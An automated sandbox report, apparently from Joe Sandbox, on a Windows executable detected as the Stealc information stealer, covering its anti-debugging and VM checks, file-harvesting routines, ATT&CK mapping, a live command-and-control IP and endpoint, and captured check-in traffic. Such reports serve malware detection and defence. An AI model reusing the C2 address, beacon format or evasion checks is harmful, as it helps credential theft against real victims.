Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F2198D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F9E888 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B14910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B14910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B0DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B0E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B0ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B14570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B14570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B0F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B13EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B13EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0F68A FindFirstFileA,	0_2_00B0F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B0DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B0BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B01160 GetSystemInfo,ExitProcess,

0_2_00B01160

Source: file.exe, file.exe, 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2102191694.0000000001223000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2102191694.0000000001255000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2102191694.0000000001249000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareM
Source: file.exe, 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13686
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13689
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13700
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13740
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13707

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00B045C0

Source: C:\Users\user\Desktop\file.exe

0_2_00B19860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B19750 mov eax, dword ptr fs:[00000030h]

0_2_00B19750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B178E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00B178E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3536, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B19600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00B19600

Source: file.exe, file.exe, 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: _!Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00B17B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B17980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00B17980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B17850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00B17850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B17A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00B17A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061075276.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3536, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061075276.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3536, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpV	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpn	17%	Virustotal		Browse
http://185.215.113.37/H	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpn	file.exe, 00000000.00000002.2102191694.0000000001249000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/H	file.exe, 00000000.00000002.2102191694.0000000001238000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpV	file.exe, 00000000.00000002.2102191694.0000000001249000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525474
Start date and time:	2024-10-04 09:44:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	Aura.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947855656085323
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'874'432 bytes
MD5:	0ab8fd273f356fc72fc0d8971976f60e
SHA1:	f88991b3868aad8231d28caa354f0f8a29deeb3b
SHA256:	6b87bd43d236ccd979ff563fea34490f006871209d6db9123c494a1a9138fd2d
SHA512:	3c9ca086a2e351f5fa894dedcefbb52c2c8b0735fe79c743769c4f00cb7ab383f88428c733837393d5b6a9692b538f204b1b59f15380914d8a3dfdd080543ff2
SSDEEP:	24576:nYbrBfGzNXBOybduTfsDb+2Ew2WngxgM9G6S+NG1TvoG0pRZzh89uq6WgT+nvIg4:nYdUxOyqfsDb0wxgOINpNsTs8NNNeV
TLSH:	6E8533B1EE11E496E469A630CC2BC32F79B5F9E574DA0EB079FC51B7979004A05ED02C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2AD886885Ah
vmread dword ptr [eax+eax], ebx
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F2AD886A855h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	3899c9ecec365d4db50ffbfa0d2b3d0f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2af000	0x200	e84d6fdfa6dabc43eca0796d6767ab5e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
incycuuu	0x50d000	0x1a4000	0x1a3800	886b6a7b843221d10701ec5044d49e26	False	0.9948040822407628	data	7.953045233922871	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
crmoanhn	0x6b1000	0x1000	0x400	674bcc98d84f6ea570b0dd59cf71c60c	False	0.8359375	data	6.3119947292621905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b2000	0x3000	0x2200	96105a6e1f60aab01be989d9830cfab0	False	0.080078125	DOS executable (COM)	1.0390559895018023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T09:45:05.821293+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 09:45:04.863622904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 09:45:04.868904114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 09:45:04.869003057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 09:45:04.869113922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 09:45:04.873917103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 09:45:05.585304022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 09:45:05.585366964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 09:45:05.588709116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 09:45:05.593564987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 09:45:05.821223974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 09:45:05.821293116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 09:45:08.446281910 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	3536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 09:45:04.869113922 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:45:05.585304022 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 07:45:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 09:45:05.588709116 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIECAFCGDBFHIDBKFC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 42 41 43 43 46 45 31 33 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 2d 2d 0d 0a Data Ascii: ------AEHIECAFCGDBFHIDBKFCContent-Disposition: form-data; name="hwid"42BACCFE13991312647697------AEHIECAFCGDBFHIDBKFCContent-Disposition: form-data; name="build"doma------AEHIECAFCGDBFHIDBKFC--
Oct 4, 2024 09:45:05.821223974 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 07:45:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	03:45:00
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb00000
File size:	1'874'432 bytes
MD5 hash:	0AB8FD273F356FC72FC0D8971976F60E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
